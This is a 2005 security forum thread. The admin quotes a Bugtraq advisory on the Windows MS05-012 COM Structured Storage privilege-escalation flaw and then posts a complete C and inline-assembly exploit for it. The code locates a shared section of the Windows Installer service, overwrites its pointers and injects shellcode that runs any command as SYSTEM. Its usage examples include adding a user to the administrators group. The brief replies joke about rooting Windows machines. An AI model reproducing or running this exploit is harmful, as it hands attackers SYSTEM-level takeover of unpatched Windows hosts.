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M$ Windows COM Structured Storage Local Privilege Escalation |
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 Posted: Tue May 31, 2005 3:12 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Look, what i found from bugtraq:
http://www.securityfocus.com/bid/12483/discussion/
| Quote: |
Microsoft Windows is reported prone to a local privilege escalation vulnerability when processing COM structured storage files. This issue may allow a local attacker to gain elevated privileges on a vulnerable computer.
An attacker with local interactive access may craft an application that triggers this condition and gain SYSTEM privileges on a vulnerable computer.
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http://www.securityfocus.com/data/vulnerabilities/exploits/SSExploit.c
| Code: |
// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions
// from msiexec service process with WinObj or crash the msiexec service and try again
// if offsets don't work, debug and change them
#include <windows.h>
#include <stdio.h>
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _OBJDIR_INFORMATION {
UNICODE_STRING ObjectName;
UNICODE_STRING ObjectTypeName;
BYTE Data[1];
} OBJDIR_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;
typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
{
HMODULE hMsi;
hMsi = LoadLibrary("msi.dll");
MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
//run unistall , without permissions this makes a windows pop up
//while this window is showing the shared section is created and available on Windows Installer service process
MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
return 0;
}
int main(int argc, char* argv[])
{
OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);
HANDLE hFile,hThread,hMapFile;
HMODULE hNtdll ,hKernel;
DWORD dwThreadId;
OBJECT_ATTRIBUTES obj;
WCHAR * uString=L"\\BaseNamedObjects";
UNICODE_STRING str;
DWORD i,a,iStrLen,b=0;
char sObjName[30],sTmp[50];
LPVOID lpMapAddress;
FARPROC pWinExec,pExitThread;
bool bFound;
char* sCommand;
if (!argv[1]||!argv[2]) {
printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
exit(0);
}
iStrLen=strlen(argv[2]);
if(iStrLen>=65){
printf("\n\"command\" must be less than 65 chars.\n");
exit(0);
}
sCommand=argv[2];
hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
Sleep(3000);
hNtdll = LoadLibrary("ntdll.dll");
NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
str.Length=wcslen(uString)*2;
str.MaximumLength =wcslen(uString)*2+2;
str.Buffer =uString;
InitializeObjectAttributes (&obj, &str, 0, 0, 00);
NtOpenDirectoryObject(&hFile,0x20001,&obj);
printf("\nSearching for Shared Section...\n\n");
// Get all objects names under \BaseNamedObjects
if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
do{
bFound=NULL;
while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
//check if it's a section name
if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
}
//check if it's the one we are searching for
if (!strncmp(sObjName,"DfSharedHeap",12)){
bFound=1;
break;
}
}
}
if (bFound)
printf("Shared Section Found: %s\n",sObjName);
else {
printf("Shared Section Not Found");
exit(0);
}
strcpy(sTmp,"Global\\");
strcat(sTmp,sObjName); //append global prefix to support Terminal Services
hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
//the shared section name couldn't be the one we are searching for
if (hMapFile == NULL)
printf("Could not open Shared Section\n\n");
else
printf("Shared Section opened\n\n");
} while (hMapFile == NULL) ;
lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
if (lpMapAddress == NULL) {
printf("Could not map Shared Section");
exit(0);
}
else
printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
hKernel=LoadLibrary("Kernel32.dll");
pWinExec=GetProcAddress(hKernel,"WinExec");
pExitThread=GetProcAddress(hKernel,"ExitThread");
_asm{
mov eax,fs:[30h] // get pointer to PEB
mov eax,[eax+0A8h] // get OS minor version
cmp eax,0x0
jz W2ksp4
cmp eax,0x1
jz WinXPsp2
jmp Win2K3 // address of section seems static on same OS version
W2Ksp4:
mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
mov edx,0x01020004 // address of shellcode
jmp Done
WinXPsp2:
mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
mov edx,0x00870004 // address of shellcode
jmp Done
Win2K3:
mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
mov edx,0x007C0004 // address of shellcode
Done:
mov ebx,lpMapAddress
mov ecx, 0x1000
l00p: // overwrite section data, so overwriten structures will point to shellcode
mov dword ptr[ebx],eax
sub ecx,0x4
add ebx,0x4
cmp ecx,0x0
jnz l00p
mov ebx,lpMapAddress //address of shellcode
mov dword ptr[ebx],edx
//start copying shellcode
lea esi, Shellcode
lea edi, [ebx+4]
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb
pop edi
pop esi
push edi
lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, iStrLen
rep movsb
mov [edi], 0x00
pop edi
mov esi, pWinExec
mov [edi+0x5], esi
mov esi, pExitThread
mov [edi+0x9], esi
}
printf("Command should have been executed ;)\n");
CloseHandle(hMapFile);
}
else printf("Couldn't get object names \n");
return 0;
_asm{
Shellcode:
call getDelta
// this gets overwrited
mov ax,0xffff
mov ax,0xffff
CommandBuf: // this gets overwrited
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
getDelta:
pop edx // Get shellcode/shared section pointer
push edx // save edx
push 0x1 // push 0x0 for hidden window
lea eax, [edx+0x8]
push eax // Command offset
call [edx] // Call WinExec
pop edx
call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
End:
}
}
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Seems like nice way to r00t the M$ b0x  |
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| Posted: Wed Jun 01, 2005 5:23 pm |
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| LINUX |
| Moderator |
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| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
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| waraxe you test this exploit ? |
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| Posted: Thu Jun 02, 2005 1:25 am |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| LINUX wrote: | | waraxe you test this exploit ? |
No, i have not yet tested this sploit. |
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